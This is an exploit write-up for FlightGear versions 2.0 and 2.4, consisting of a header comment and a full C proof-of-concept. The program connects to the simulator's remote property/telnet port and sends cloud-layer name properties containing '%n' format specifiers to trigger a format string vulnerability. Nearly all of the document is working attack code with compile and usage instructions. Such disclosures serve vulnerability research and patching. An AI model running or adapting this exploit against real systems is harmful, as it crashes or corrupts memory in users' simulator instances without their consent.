Flightgear 2.0 / 2.4 Format String Vulnerability

/*
# Exploit Title: Flightgear remote format string
# Date: 21/04/2013
# Exploit Author: Kurono
# email: [email protected]
# Vendor Homepage: http://www.flightgear.org/
# Software Link: http://www.flightgear.org/download/
# Version: Tested on versions 2.0, 2.4.
# Tested on: Windows (Linux user assisted)
# CVE : None
 
    Flightgear allows remote control through Property tree.
    It is vulnerable to remote format string vulnerability
    when some special parameters related with clouds are changed.
    To test this exploit, run Flightgear with remote input, for example:
 
    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch
 
    or
 
    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch   
 
    gcc -O2 -g -pedantic -Wall poc.c -o poc
    USAGE: ./poc [hostname [port]]
 
    More information: http://kuronosec.blogspot.com/
*/
 
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <string.h>
 
 
#define DFLTHOST    "127.0.0.1"
#define DFLTPORT    5501
#define MAXMSG      256
#define fgfsclose   close
 
 
void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);
int fgfswrite(int sock, char *msg, ...);
const char *fgfsread(int sock, int wait);
void fgfsflush(int sock);
 
 
 
int fgfswrite(int sock, char *msg, ...)
{
    va_list va;
    ssize_t len;
    char buf[MAXMSG];
 
    va_start(va, msg);
    vsnprintf(buf, MAXMSG - 2, msg, va);
    va_end(va);
    printf("SEND: \t<%s>\n", buf);
    strcat(buf, "\015\012");
 
    len = write(sock, buf, strlen(buf));
    if (len < 0) {
        perror("fgfswrite");
        exit(EXIT_FAILURE);
    }
    return len;
}
 
 
 
const char *fgfsread(int sock, int timeout)
{
    static char buf[MAXMSG];
    char *p;
    fd_set ready;
    struct timeval tv;
    ssize_t len;
 
    FD_ZERO(&ready);
    FD_SET(sock, &ready);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    if (!select(32, &ready, 0, 0, &tv))
        return NULL;
 
    len = read(sock, buf, MAXMSG - 1);
    if (len < 0) {
        perror("fgfsread");
        exit(EXIT_FAILURE);
    }
    if (len == 0)
        return NULL;
 
    for (p = &buf[len - 1]; p >= buf; p--)
        if (*p != '\015' && *p != '\012')
            break;
    *++p = '\0';
    return strlen(buf) ? buf : NULL;
}
 
 
 
void fgfsflush(int sock)
{
    const char *p;
    while ((p = fgfsread(sock, 0)) != NULL) {
        printf("IGNORE: \t<%s>\n", p);
    }
}
 
 
 
int fgfsconnect(const char *hostname, const int port)
{
    struct sockaddr_in serv_addr;
    struct hostent *hostinfo;
    int sock;
 
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        perror("fgfsconnect/socket");
        return -1;
    }
 
    hostinfo = gethostbyname(hostname);
    if (hostinfo == NULL) {
        fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);
        close(sock);
        return -2;
    }
 
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;
 
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("fgfsconnect/connect");
        close(sock);
        return -3;
    }
    return sock;
}
 
 
 
int main(int argc, char **argv)
{
    int sock;
    unsigned port;
    const char *hostname, *p;
        int i;
 
    hostname = argc > 1 ? argv[1] : DFLTHOST;
    port = argc > 2 ? atoi(argv[2]) : DFLTPORT;
 
    sock = fgfsconnect(hostname, port);
    if (sock < 0)
        return EXIT_FAILURE;
 
    fgfswrite(sock, "data");
        fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");
        fgfswrite(sock, "set /environment/clouds");
 
        for (i=0; i < 5; i++) {
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);
        }
     
    p = fgfsread(sock, 3);
    if (p != NULL)
        printf("READ: \t<%s>\n", p);
 
 
        for (i=0; i < 5; i++) {
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);
        }
 
        p = fgfsread(sock, 3);
    if (p != NULL)
        printf("READ: \t<%s>\n", p);
 
    fgfswrite(sock, "quit");
    fgfsclose(sock);
    return EXIT_SUCCESS;
}

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